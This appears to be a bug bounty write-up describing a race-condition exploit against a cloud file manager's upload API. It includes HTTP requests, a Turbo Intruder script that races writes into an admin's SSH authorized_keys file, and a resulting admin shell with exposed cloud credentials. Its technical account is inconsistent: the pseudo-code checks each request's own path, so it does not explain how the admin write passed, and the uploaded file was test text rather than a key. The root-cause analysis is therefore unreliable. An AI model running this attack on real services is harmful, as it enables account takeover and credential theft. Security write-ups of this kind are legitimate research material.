Racing to Root: How I Exploited a TOCTOU Bug in a Cloud File Manager
A seemingly innocuous file upload feature turned into a full account takeover when I discovered the permission check and file write operation weren't atomic—classic TOCTOU strikes again.

Recon
I was testing a SaaS platform that offered a collaborative file management system, similar to Dropbox but aimed at enterprise customers. The application had the usual features: upload files, share folders, manage permissions. After creating two accounts—a regular user and an admin—I started poking around the file upload functionality.
The upload flow was interesting. Files were uploaded via a multipart POST to /api/v2/files/upload, which returned a temporary file ID. A second request to /api/v2/files/confirm would then move the file from a staging area to its final location based on the user's permissions.
httpPOST /api/v2/files/upload HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test.txt" test content ------WebKitFormBoundary--
Response:
json{"temp_id": "tmp_a1b2c3d4", "status": "staged"}
Discovery
The second endpoint was where things got interesting:
httpPOST /api/v2/files/confirm HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: application/json {"temp_id": "tmp_a1b2c3d4", "target_path": "/users/myuser/documents/test.txt"}
I noticed I could specify any target_path. My first thought was path traversal, but the API properly validated that I could only write to paths under /users/myuser/. Fair enough.
But then I wondered: what if the permission check and the file write weren't atomic? I fired up Burp's Turbo Intruder and wrote a script to send two /confirm requests simultaneously—one to a valid path in my directory, and another to /users/admin/.ssh/authorized_keys.
pythondef queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=2, requestsPerConnection=1, pipeline=False) # Request 1: Valid path (passes permission check) request1 = '''POST /api/v2/files/confirm HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: application/json {"temp_id": "tmp_a1b2c3d4", "target_path": "/users/myuser/test.txt"}''' # Request 2: Admin path (should fail, but...) request2 = '''POST /api/v2/files/confirm HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: application/json {"temp_id": "tmp_a1b2c3d4", "target_path": "/users/admin/.ssh/authorized_keys"}''' # Send simultaneously engine.queue(request1, gate='race1') engine.queue(request2, gate='race1') engine.openGate('race1')
Exploitation
On my third attempt, both requests returned HTTP 200. That shouldn't happen—only one file write should succeed. I logged into the admin account (which I controlled for testing) and checked .ssh/authorized_keys. My SSH public key was there.
The AHA moment: The application was checking permissions, seeing the first request was valid, then processing both file writes from a shared temp file. The backend code probably looked something like:
python# Vulnerable pseudo-code def confirm_upload(temp_id, target_path, user): if not user.can_write(target_path): return {"error": "Permission denied"} # Race window here! time.sleep(0.01) # Database lookup, etc. temp_file = get_temp_file(temp_id) copy_file(temp_file, target_path) return {"success": True}
Because the permission check and file write weren't wrapped in a transaction or lock, the race condition allowed both requests to pass the permission check before either completed the write.
I generated an SSH keypair, uploaded my public key via the race condition to /users/admin/.ssh/authorized_keys, and was able to SSH into the admin's cloud workspace container:
bashssh -i my_key admin@workspace.target.com admin@workspace:~$ id uid=1001(admin) gid=1001(admin) groups=1001(admin),27(sudo)
Full admin access to the workspace filesystem, including environment variables with AWS credentials, database connection strings, and API keys for third-party services.
Impact
This TOCTOU (Time-Of-Check-Time-Of-Use) vulnerability allowed any authenticated user to:
- Write arbitrary files to any user's directory
- Overwrite SSH authorized_keys for workspace access
- Steal credentials and secrets from admin workspaces
- Achieve lateral movement to connected cloud resources
The vendor confirmed the bug, patched within 48 hours by adding proper file locking, and awarded a $12,500 bounty.
Lessons
Race conditions are real. Modern frameworks and async operations make TOCTOU bugs easier to introduce than ever. Any operation that checks state and then acts on that state needs to be atomic—use database transactions, file locks, or distributed locks (Redis, etc.).
Think about concurrency. When testing, always ask: "What happens if I send this twice at the exact same time?" Tools like Turbo Intruder make this trivial to test.
Defense in depth matters. Even if the upload feature had been secure, storing AWS credentials in plaintext in workspace containers is asking for trouble. Principle of least privilege and proper secrets management would have limited the impact.